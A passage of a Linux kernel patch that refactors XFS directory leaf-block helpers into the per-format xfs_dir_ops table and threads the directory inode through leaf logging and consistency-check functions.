&xfs_dir2_ftype_ops; + return &xfs_dir2_ops; +} diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index aeca003..0a567e2 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -551,36 +551,6 @@ struct xfs_dir3_leaf { extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, struct xfs_dir2_leaf *from); -static inline int -xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) - return sizeof(struct xfs_dir3_leaf_hdr); - return sizeof(struct xfs_dir2_leaf_hdr); -} - -static inline int -xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / - (uint)sizeof(struct xfs_dir2_leaf_entry); -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { - struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; - return lp3->__ents; - } - return lp->__ents; -} - /* * Get address of the bestcount field in the single-leaf block. */ diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 7911136..2b98a33 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -113,12 +113,7 @@ xfs_dir_mount( else mp->m_dirnameops = &xfs_default_nameops; - if (xfs_sb_version_hascrc(&mp->m_sb)) - mp->m_dir_inode_ops = &xfs_dir3_ops; - else if (xfs_sb_version_hasftype(&mp->m_sb)) - mp->m_dir_inode_ops = &xfs_dir2_ftype_ops; - else - mp->m_dir_inode_ops = &xfs_dir2_ops; + mp->m_dir_inode_ops = xfs_dir_get_ops(mp, NULL); } /* diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 076010a..9ba9db7 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -74,11 +74,15 @@ struct xfs_dir_ops { (*data_entry_p)(struct xfs_dir2_data_hdr *hdr); struct xfs_dir2_data_unused * (*data_unused_p)(struct xfs_dir2_data_hdr *hdr); + + int (*leaf_hdr_size)(void); + int (*leaf_max_ents)(struct xfs_mount *mp); + struct xfs_dir2_leaf_entry * + (*leaf_ents_p)(struct xfs_dir2_leaf *lp); }; -extern const struct xfs_dir_ops xfs_dir2_ops; -extern const struct xfs_dir_ops xfs_dir2_ftype_ops; -extern const struct xfs_dir_ops xfs_dir3_ops; +extern const struct xfs_dir_ops * + xfs_dir_get_ops(struct xfs_mount *mp, struct xfs_inode *dp); /* * Generic directory interface routines diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index e6f1784..03015f5 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -937,7 +937,7 @@ xfs_dir2_leaf_to_block( mp = dp->i_mount; leaf = lbp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); ltp = xfs_dir2_leaf_tail_p(mp, leaf); ASSERT(leafhdr.magic == XFS_DIR2_LEAF1_MAGIC || diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 0b58a07..16aa76e 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -68,17 +68,10 @@ __xfs_dir3_data_check( hdr = bp->b_addr; /* - * we can be passed a null dp here froma verifier, so manually configure - * the ops here in that case. + * we can be passed a null dp here from a verifier, so we need to go the + * hard way to get them. */ - if (dp) - ops = dp->d_ops; - else if (xfs_sb_version_hascrc(&mp->m_sb)) - ops = &xfs_dir3_ops; - else if (xfs_sb_version_hasftype(&mp->m_sb)) - ops = &xfs_dir2_ftype_ops; - else - ops = &xfs_dir2_ops; + ops = xfs_dir_get_ops(mp, dp); switch (hdr->magic) { case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index f35b394..16fdc0e 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -50,15 +50,15 @@ static void xfs_dir3_leaf_log_tail(struct xfs_trans *tp, struct xfs_buf *bp); * Pop an assert if something is wrong. */ #ifdef DEBUG -#define xfs_dir3_leaf_check(mp, bp) \ +#define xfs_dir3_leaf_check(dp, bp) \ do { \ - if (!xfs_dir3_leaf1_check((mp), (bp))) \ + if (!xfs_dir3_leaf1_check((dp), (bp))) \ ASSERT(0); \ } while (0); STATIC bool xfs_dir3_leaf1_check( - struct xfs_mount *mp, + struct xfs_inode *dp, struct xfs_buf *bp) { struct xfs_dir2_leaf *leaf = bp->b_addr; @@ -73,10 +73,10 @@ xfs_dir3_leaf1_check( } else if (leafhdr.magic != XFS_DIR2_LEAF1_MAGIC) return false; - return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); + return xfs_dir3_leaf_check_int(dp->i_mount, dp, &leafhdr, leaf); } #else -#define xfs_dir3_leaf_check(mp, bp) +#define xfs_dir3_leaf_check(dp, bp) #endif void @@ -138,6 +138,7 @@ xfs_dir3_leaf_hdr_to_disk( bool xfs_dir3_leaf_check_int( struct xfs_mount *mp, + struct xfs_inode *dp, struct xfs_dir3_icleaf_hdr *hdr, struct xfs_dir2_leaf *leaf) { @@ -145,8 +146,15 @@ xfs_dir3_leaf_check_int( xfs_dir2_leaf_tail_t *ltp; int stale; int i; + const struct xfs_dir_ops *ops; - ents = xfs_dir3_leaf_ents_p(leaf); + /* + * we can be passed a null dp here from a verifier, so we need to go the + * hard way to get them. + */ + ops = xfs_dir_get_ops(mp, dp); + + ents = ops->leaf_ents_p(leaf); ltp = xfs_dir2_leaf_tail_p(mp, leaf); /* @@ -154,7 +162,7 @@ xfs_dir3_leaf_check_int( * Should factor in the size of the bests table as well. * We can deduce a value for that from di_size. */ - if (hdr->count > xfs_dir3_max_leaf_ents(mp, leaf)) + if (hdr->count > ops->leaf_max_ents(mp)) return false; /* Leaves and bests don't overlap in leaf format. */ @@ -213,7 +221,7 @@ xfs_dir3_leaf_verify( } xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); + return xfs_dir3_leaf_check_int(mp, NULL, &leafhdr, leaf); } static void @@ -399,7 +407,7 @@ xfs_dir3_leaf_get_buf( return error; xfs_dir3_leaf_init(mp, tp, bp, dp->i_ino, magic); - xfs_dir3_leaf_log_header(tp, bp); + xfs_dir3_leaf_log_header(tp, dp, bp); if (magic == XFS_DIR2_LEAF1_MAGIC) xfs_dir3_leaf_log_tail(tp, bp); *bpp = bp; @@ -461,7 +469,7 @@ xfs_dir2_block_to_leaf( btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); bf = dp->d_ops->data_bestfree_p(hdr); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Set the counts in the leaf header. @@ -470,14 +478,14 @@ xfs_dir2_block_to_leaf( leafhdr.count = be32_to_cpu(btp->count); leafhdr.stale = be32_to_cpu(btp->stale); xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, lbp); + xfs_dir3_leaf_log_header(tp, dp, lbp); /* * Could compact these but I think we always do the conversion * after squeezing out stale entries. */ memcpy(ents, blp, be32_to_cpu(btp->count) * sizeof(xfs_dir2_leaf_entry_t)); - xfs_dir3_leaf_log_ents(tp, lbp, 0, leafhdr.count - 1); + xfs_dir3_leaf_log_ents(tp, dp, lbp, 0, leafhdr.count - 1); needscan = 0; needlog = 1; /* @@ -513,7 +521,7 @@ xfs_dir2_block_to_leaf( */ if (needlog) xfs_dir2_data_log_header(tp, dp, dbp); - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_check(dp, lbp); xfs_dir3_data_check(dp, dbp); xfs_dir3_leaf_log_bests(tp, lbp, 0, 0); return 0; @@ -697,7 +705,7 @@ xfs_dir2_leaf_addname( index = xfs_dir2_leaf_search_hash(args, lbp); leaf = lbp->b_addr; ltp = xfs_dir2_leaf_tail_p(mp, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); length = dp->d_ops->data_entsize(args->namelen); @@ -938,9 +946,9 @@ xfs_dir2_leaf_addname( * Log the leaf fields and give up the buffers. */ xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, lbp); - xfs_dir3_leaf_log_ents(tp, lbp, lfloglow, lfloghigh); - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_log_header(tp, dp, lbp); + xfs_dir3_leaf_log_ents(tp, dp, lbp, lfloglow, lfloghigh); + xfs_dir3_leaf_check(dp, lbp); xfs_dir3_data_check(dp, dbp); return 0; } @@ -968,7 +976,7 @@ xfs_dir3_leaf_compact( /* * Compress out the stale entries in place. */ - ents = xfs_dir3_leaf_ents_p(leaf); + ents = args->dp->d_ops->leaf_ents_p(leaf); for (from = to = 0, loglow = -1; from < leafhdr->count; from++) { if (ents[from].address == cpu_to_be32(XFS_DIR2_NULL_DATAPTR)) continue; @@ -990,9 +998,10 @@ xfs_dir3_leaf_compact( leafhdr->stale = 0; xfs_dir3_leaf_hdr_to_disk(leaf, leafhdr); - xfs_dir3_leaf_log_header(args->trans, bp); + xfs_dir3_leaf_log_header(args->trans, args->dp, bp); if (loglow != -1) - xfs_dir3_leaf_log_ents(args->trans, bp, loglow, to - 1); + xfs_dir3_leaf_log_ents(args->trans, args->dp, bp, + loglow, to - 1); } /* @@ -1119,10 +1128,11 @@ xfs_dir3_leaf_log_bests( */ void xfs_dir3_leaf_log_ents( - xfs_trans_t *tp, /* transaction pointer */ - struct xfs_buf *bp, /* leaf buffer */ - int first, /* first entry to log */ - int last) /* last entry to log */ + struct xfs_trans *tp, + struct xfs_inode *dp, + struct xfs_buf *bp, + int first, + int last) { xfs_dir2_leaf_entry_t *firstlep; /* pointer to first entry */ xfs_dir2_leaf_entry_t *lastlep; /* pointer to last entry */ @@ -1134,7 +1144,7 @@ xfs_dir3_leaf_log_ents( leaf->hdr.info.magic == cpu_to_be16(XFS_DIR2_LEAFN_MAGIC) || leaf->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); firstlep = &ents[first]; lastlep = &ents[last]; xfs_trans_log_buf(tp, bp, (uint)((char *)firstlep - (char *)leaf), @@ -1147,6 +1157,7 @@ xfs_dir3_leaf_log_ents( void xfs_dir3_leaf_log_header( struct xfs_trans *tp, + struct xfs_inode *dp, struct xfs_buf *bp) { struct xfs_dir2_leaf *leaf = bp->b_addr; @@ -1157,7 +1168,7 @@ xfs_dir3_leaf_log_header( leaf->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)&leaf->hdr - (char *)leaf), - xfs_dir3_leaf_hdr_size(leaf) - 1); + dp->d_ops->leaf_hdr_size() - 1); } /* @@ -1212,9 +1223,9 @@ xfs_dir2_leaf_lookup( } tp = args->trans; dp = args->dp; - xfs_dir3_leaf_check(dp->i_mount, lbp); + xfs_dir3_leaf_check(dp, lbp); leaf = lbp->b_addr; - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Get to the leaf entry and contained data entry address. */ @@ -1277,8 +1288,8 @@ xfs_dir2_leaf_lookup_int( *lbpp = lbp; leaf = lbp->b_addr; - xfs_dir3_leaf_check(mp, lbp); - ents = xfs_dir3_leaf_ents_p(leaf); + xfs_dir3_leaf_check(dp, lbp); + ents = dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); /* @@ -1415,7 +1426,7 @@ xfs_dir2_leaf_removename( xfs_dir3_data_check(dp, dbp); bf = dp->d_ops->data_bestfree_p(hdr); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Point to the leaf entry, use that to point to the data entry. */ @@ -1439,10 +1450,10 @@ xfs_dir2_leaf_removename( */ leafhdr.stale++; xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, lbp); + xfs_dir3_leaf_log_header(tp, dp, lbp); lep->address = cpu_to_be32(XFS_DIR2_NULL_DATAPTR); - xfs_dir3_leaf_log_ents(tp, lbp, index, index); + xfs_dir3_leaf_log_ents(tp, dp, lbp, index, index); /* * Scan the freespace in the data block again if necessary, @@ -1476,7 +1487,7 @@ xfs_dir2_leaf_removename( */ if (error == ENOSPC && args->total == 0) error = 0; - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_check(dp, lbp); return error; } dbp = NULL; @@ -1510,7 +1521,7 @@ xfs_dir2_leaf_removename( else if (db != mp->m_dirdatablk) dbp = NULL; - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_check(dp, lbp); /* * See if we can convert to block form. */ @@ -1545,7 +1556,7 @@ xfs_dir2_leaf_replace( } dp = args->dp; leaf = lbp->b_addr; - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Point to the leaf entry, get data address from it. */ @@ -1564,7 +1575,7 @@ xfs_dir2_leaf_replace( dp->d_ops->data_put_ftype(dep, args->filetype); tp = args->trans; xfs_dir2_data_log_entry(tp, dp, dbp, dep); - xfs_dir3_leaf_check(dp->i_mount, lbp); + xfs_dir3_leaf_check(dp, lbp); xfs_trans_brelse(tp, lbp); return 0; } @@ -1590,7 +1601,7 @@ xfs_dir2_leaf_search_hash( struct xfs_dir3_icleaf_hdr leafhdr; leaf = lbp->b_addr; - ents = xfs_dir3_leaf_ents_p(leaf); + ents = args->dp->d_ops->leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); /* @@ -1830,10 +1841,10 @@ xfs_dir2_node_to_leaf( freehdr.nvalid * sizeof(xfs_dir2_data_off_t)); xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, lbp); + xfs_dir3_leaf_log_header(tp, dp, lbp); xfs_dir3_leaf_log_bests(tp, lbp, 0, be32_to_cpu(ltp->bestcount) - 1); xfs_dir3_leaf_log_tail(tp, lbp); - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_check(dp, lbp); /* * Get rid of the freespace block. diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 6644ed6..17e65c7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -54,15 +54,15 @@ static int xfs_dir2_node_addname_int(xfs_da_args_t *args, * Check internal consistency of a leafn block. */ #ifdef DEBUG -#define xfs_dir3_leaf_check(mp, bp) \ +#define xfs_dir3_leaf_check(dp, bp) \ do { \ - if (!xfs_dir3_leafn_check((mp), (bp))) \ + if (!xfs_dir3_leafn_check((dp), (bp))) \ ASSERT(0); \ } while (0); static bool xfs_dir3_leafn_check( - struct xfs_mount *mp, + struct xfs_inode *dp, struct xfs_buf *bp) { struct xfs_dir2_leaf *leaf = bp->b_addr; @@ -77,10 +77,10 @@ xfs_dir3_leafn_check( } else if (leafhdr.magic != XFS_DIR2_LEAFN_MAGIC) return false; - return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); + return xfs_dir3_leaf_check_int(dp->i_mount, dp, &leafhdr, leaf); } #else -#define xfs_dir3_leaf_check(mp, bp) +#define xfs_dir3_leaf_check(dp, bp) #endif static bool @@ -408,8 +408,8 @@ xfs_dir2_leaf_to_node( leaf->hdr.info.magic = cpu_to_be16(XFS_DIR3_LEAFN_MAGIC); lbp->b_ops = &xfs_dir3_leafn_buf_ops; xfs_trans_buf_set_type(tp, lbp, XFS_BLFT_DIR_LEAFN_BUF); - xfs_dir3_leaf_log_header(tp, lbp); - xfs_dir3_leaf_check(mp, lbp); + xfs_dir3_leaf_log_header(tp, dp, lbp); + xfs_dir3_leaf_check(dp, lbp); return 0; } @@ -443,7 +443,7 @@ xfs_dir2_leafn_add( tp = args->trans; leaf = bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Quick check just to make sure we are not going to index @@ -459,7 +459,7 @@ xfs_dir2_leafn_add( * a compact. */ - if (leafhdr.count == xfs_dir3_max_leaf_ents(mp, leaf)) { + if (leafhdr.count == dp->d_ops->leaf_max_ents(mp)) { if (!leafhdr.stale) return XFS_ERROR(ENOSPC); compact = leafhdr.stale > 1; @@ -498,9 +498,9 @@ xfs_dir2_leafn_add( args->blkno, args->index)); xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, bp); - xfs_dir3_leaf_log_ents(tp, bp, lfloglow, lfloghigh); - xfs_dir3_leaf_check(mp, bp); + xfs_dir3_leaf_log_header(tp, dp, bp); + xfs_dir3_leaf_log_ents(tp, dp, bp, lfloglow, lfloghigh); + xfs_dir3_leaf_check(dp, bp); return 0; } @@ -529,6 +529,7 @@ xfs_dir2_free_hdr_check( */ xfs_dahash_t /* hash value */ xfs_dir2_leafn_lasthash( + struct xfs_inode *dp, struct xfs_buf *bp, /* leaf buffer */ int *count) /* count of entries in leaf */ { @@ -546,7 +547,7 @@ xfs_dir2_leafn_lasthash( if (!leafhdr.count) return 0; - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); return be32_to_cpu(ents[leafhdr.count - 1].hashval); } @@ -584,9 +585,9 @@ xfs_dir2_leafn_lookup_for_addname( mp = dp->i_mount; leaf = bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); - xfs_dir3_leaf_check(mp, bp); + xfs_dir3_leaf_check(dp, bp); ASSERT(leafhdr.count > 0); /* @@ -734,9 +735,9 @@ xfs_dir2_leafn_lookup_for_entry( mp = dp->i_mount; leaf = bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); - xfs_dir3_leaf_check(mp, bp); + xfs_dir3_leaf_check(dp, bp); ASSERT(leafhdr.count > 0); /* @@ -906,7 +907,7 @@ xfs_dir3_leafn_moveents( if (start_d < dhdr->count) { memmove(&dents[start_d + count], &dents[start_d], (dhdr->count - start_d) * sizeof(xfs_dir2_leaf_entry_t)); - xfs_dir3_leaf_log_ents(tp, bp_d, start_d + count, + xfs_dir3_leaf_log_ents(tp, args->dp, bp_d, start_d + count, count + dhdr->count - 1); } /* @@ -928,7 +929,8 @@ xfs_dir3_leafn_moveents( */ memcpy(&dents[start_d], &sents[start_s], count * sizeof(xfs_dir2_leaf_entry_t)); - xfs_dir3_leaf_log_ents(tp, bp_d, start_d, start_d + count - 1); + xfs_dir3_leaf_log_ents(tp, args->dp, bp_d, + start_d, start_d + count - 1); /* * If there are source entries after the ones we copied, @@ -937,7 +939,8 @@ xfs_dir3_leafn_moveents( if (start_s + count < shdr->count) { memmove(&sents[start_s], &sents[start_s + count], count * sizeof(xfs_dir2_leaf_entry_t)); - xfs_dir3_leaf_log_ents(tp, bp_s, start_s, start_s + count - 1); + xfs_dir3_leaf_log_ents(tp, args->dp, bp_s, + start_s, start_s + count - 1); } /* @@ -955,6 +958,7 @@ xfs_dir3_leafn_moveents( */ int /* sort order */ xfs_dir2_leafn_order( + struct xfs_inode *dp, struct xfs_buf *leaf1_bp, /* leaf1 buffer */ struct xfs_buf *leaf2_bp) /* leaf2 buffer */ { @@ -967,8 +971,8 @@ xfs_dir2_leafn_order( xfs_dir3_leaf_hdr_from_disk(&hdr1, leaf1); xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf2); - ents1 = xfs_dir3_leaf_ents_p(leaf1); - ents2 = xfs_dir3_leaf_ents_p(leaf2); + ents1 = dp->d_ops->leaf_ents_p(leaf1); + ents2 = dp->d_ops->leaf_ents_p(leaf2); if (hdr1.count > 0 && hdr2.count > 0 && (be32_to_cpu(ents2[0].hashval) < be32_to_cpu(ents1[0].hashval) || @@ -1006,12 +1010,13 @@ xfs_dir2_leafn_rebalance( struct xfs_dir2_leaf_entry *ents2; struct xfs_dir3_icleaf_hdr hdr1; struct xfs_dir3_icleaf_hdr hdr2; + struct xfs_inode *dp = state->args->dp; args = state->args; /* * If the block order is wrong, swap the arguments. */ - if ((swap = xfs_dir2_leafn_order(blk1->bp, blk2->bp))) { + if ((swap = xfs_dir2_leafn_order(dp, blk1->bp, blk2->bp))) { xfs_da_state_blk_t *tmp; /* temp for block swap */ tmp = blk1; @@ -1022,8 +1027,8 @@ xfs_dir2_leafn_rebalance( leaf2 = blk2->bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&hdr1, leaf1); xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf2); - ents1 = xfs_dir3_leaf_ents_p(leaf1); - ents2 = xfs_dir3_leaf_ents_p(leaf2); + ents1 = dp->d_ops->leaf_ents_p(leaf1); + ents2 = dp->d_ops->leaf_ents_p(leaf2); oldsum = hdr1.count + hdr2.count; #if defined(DEBUG) || defined(XFS_WARN) @@ -1071,11 +1076,11 @@ xfs_dir2_leafn_rebalance( /* log the changes made when moving the entries */ xfs_dir3_leaf_hdr_to_disk(leaf1, &hdr1); xfs_dir3_leaf_hdr_to_disk(leaf2, &hdr2); - xfs_dir3_leaf_log_header(args->trans, blk1->bp); - xfs_dir3_leaf_log_header(args->trans, blk2->bp); + xfs_dir3_leaf_log_header(args->trans, dp, blk1->bp); + xfs_dir3_leaf_log_header(args->trans, dp, blk2->bp); - xfs_dir3_leaf_check(args->dp->i_mount, blk1->bp); - xfs_dir3_leaf_check(args->dp->i_mount, blk2->bp); + xfs_dir3_leaf_check(dp, blk1->bp); + xfs_dir3_leaf_check(dp, blk2->bp); /* * Mark whether we're inserting into the old or new leaf. @@ -1099,7 +1104,7 @@ xfs_dir2_leafn_rebalance( if(blk2->index < 0) { state->inleaf = 1; blk2->index = 0; - xfs_alert(args->dp->i_mount, + xfs_alert(dp->i_mount, "%s: picked the wrong leaf? reverting original leaf: blk1->index %d\n", __func__, blk1->index); } @@ -1222,7 +1227,7 @@ xfs_dir2_leafn_remove( mp = dp->i_mount; leaf = bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); /* * Point to the entry we're removing. @@ -1243,10 +1248,10 @@ xfs_dir2_leafn_remove( */ leafhdr.stale++; xfs_dir3_leaf_hdr_to_disk(leaf, &leafhdr); - xfs_dir3_leaf_log_header(tp, bp); + xfs_dir3_leaf_log_header(tp, dp, bp); lep->address = cpu_to_be32(XFS_DIR2_NULL_DATAPTR); - xfs_dir3_leaf_log_ents(tp, bp, index, index); + xfs_dir3_leaf_log_ents(tp, dp, bp, index, index); /* * Make the data entry free. Keep track of the longest freespace @@ -1335,12 +1340,12 @@ xfs_dir2_leafn_remove( return error; } - xfs_dir3_leaf_check(mp, bp); + xfs_dir3_leaf_check(dp, bp); /* * Return indication of whether this leaf block is empty enough * to justify trying to join it with a neighbor. */ - *rval = (xfs_dir3_leaf_hdr_size(leaf) + + *rval = (dp->d_ops->leaf_hdr_size() + (uint)sizeof(ents[0]) * (leafhdr.count - leafhdr.stale)) < mp->m_dir_magicpct; return 0; @@ -1359,12 +1364,14 @@ xfs_dir2_leafn_split( xfs_dablk_t blkno; /* new leaf block number */ int error; /* error return value */ xfs_mount_t *mp; /* filesystem mount point */ + struct xfs_inode *dp; /* * Allocate space for a new leaf node. */ args = state->args; - mp = args->dp->i_mount; + dp = args->dp; + mp = dp->i_mount; ASSERT(args != NULL); ASSERT(oldblk->magic == XFS_DIR2_LEAFN_MAGIC); error = xfs_da_grow_inode(args, &blkno); @@ -1400,10 +1407,10 @@ xfs_dir2_leafn_split( /* * Update last hashval in each block since we added the name. */ - oldblk->hashval = xfs_dir2_leafn_lasthash(oldblk->bp, NULL); - newblk->hashval = xfs_dir2_leafn_lasthash(newblk->bp, NULL); - xfs_dir3_leaf_check(mp, oldblk->bp); - xfs_dir3_leaf_check(mp, newblk->bp); + oldblk->hashval = xfs_dir2_leafn_lasthash(dp, oldblk->bp, NULL); + newblk->hashval = xfs_dir2_leafn_lasthash(dp, newblk->bp, NULL); + xfs_dir3_leaf_check(dp, oldblk->bp); + xfs_dir3_leaf_check(dp, newblk->bp); return error; } @@ -1433,6 +1440,7 @@ xfs_dir2_leafn_toosmall( int rval; /* result from path_shift */ struct xfs_dir3_icleaf_hdr leafhdr; struct xfs_dir2_leaf_entry *ents; + struct xfs_inode *dp = state->args->dp; /* * Check for the degenerate case of the block being over 50% full. @@ -1442,11 +1450,11 @@ xfs_dir2_leafn_toosmall( blk = &state->path.blk[state->path.active - 1]; leaf = blk->bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); - xfs_dir3_leaf_check(state->args->dp->i_mount, blk->bp); + ents = dp->d_ops->leaf_ents_p(leaf); + xfs_dir3_leaf_check(dp, blk->bp); count = leafhdr.count - leafhdr.stale; - bytes = xfs_dir3_leaf_hdr_size(leaf) + count * sizeof(ents[0]); + bytes = dp->d_ops->leaf_hdr_size() + count * sizeof(ents[0]); if (bytes > (state->blocksize >> 1)) { /* * Blk over 50%, don't try to join. @@ -1491,7 +1499,7 @@ xfs_dir2_leafn_toosmall( /* * Read the sibling leaf block. */ - error = xfs_dir3_leafn_read(state->args->trans, state->args->dp, + error = xfs_dir3_leafn_read(state->args->trans, dp, blkno, -1, &bp); if (error) return error; @@ -1504,7 +1512,7 @@ xfs_dir2_leafn_toosmall( leaf = bp->b_addr; xfs_dir3_leaf_hdr_from_disk(&hdr2, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); count += hdr2.count - hdr2.stale; bytes -= count * sizeof(ents[0]); @@ -1558,6 +1566,7 @@ xfs_dir2_leafn_unbalance( struct xfs_dir3_icleaf_hdr drophdr; struct xfs_dir2_leaf_entry *sents; struct xfs_dir2_leaf_entry *dents; + struct xfs_inode *dp = state->args->dp; args = state->args; ASSERT(drop_blk->magic == XFS_DIR2_LEAFN_MAGIC); @@ -1567,8 +1576,8 @@ xfs_dir2_leafn_unbalance( xfs_dir3_leaf_hdr_from_disk(&savehdr, save_leaf); xfs_dir3_leaf_hdr_from_disk(&drophdr, drop_leaf); - sents = xfs_dir3_leaf_ents_p(save_leaf); - dents = xfs_dir3_leaf_ents_p(drop_leaf); + sents = args->dp->d_ops->leaf_ents_p(save_leaf); + dents = args->dp->d_ops->leaf_ents_p(drop_leaf); /* * If there are any stale leaf entries, take this opportunity @@ -1583,7 +1592,7 @@ xfs_dir2_leafn_unbalance( * Move the entries from drop to the appropriate end of save. */ drop_blk->hashval = be32_to_cpu(dents[drophdr.count - 1].hashval); - if (xfs_dir2_leafn_order(save_blk->bp, drop_blk->bp)) + if (xfs_dir2_leafn_order(dp, save_blk->bp, drop_blk->bp)) xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, save_blk->bp, &savehdr, sents, 0, drophdr.count); @@ -1596,11 +1605,11 @@ xfs_dir2_leafn_unbalance( /* log the changes made when moving the entries */ xfs_dir3_leaf_hdr_to_disk(save_leaf, &savehdr); xfs_dir3_leaf_hdr_to_disk(drop_leaf, &drophdr); - xfs_dir3_leaf_log_header(args->trans, save_blk->bp); - xfs_dir3_leaf_log_header(args->trans, drop_blk->bp); + xfs_dir3_leaf_log_header(args->trans, dp, save_blk->bp); + xfs_dir3_leaf_log_header(args->trans, dp, drop_blk->bp); - xfs_dir3_leaf_check(args->dp->i_mount, save_blk->bp); - xfs_dir3_leaf_check(args->dp->i_mount, drop_blk->bp); + xfs_dir3_leaf_check(dp, save_blk->bp); + xfs_dir3_leaf_check(dp, drop_blk->bp); } /* @@ -2211,7 +2220,7 @@ xfs_dir2_node_replace( blk = &state->path.blk[state->path.active - 1]; ASSERT(blk->magic == XFS_DIR2_LEAFN_MAGIC); leaf = blk->bp->b_addr; - ents = xfs_dir3_leaf_ents_p(leaf); + ents = args->dp->d_ops->leaf_ents_p(leaf); lep = &ents[blk->index]; ASSERT(state->extravalid); /* diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 9a69f20..3e4b5ba 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h 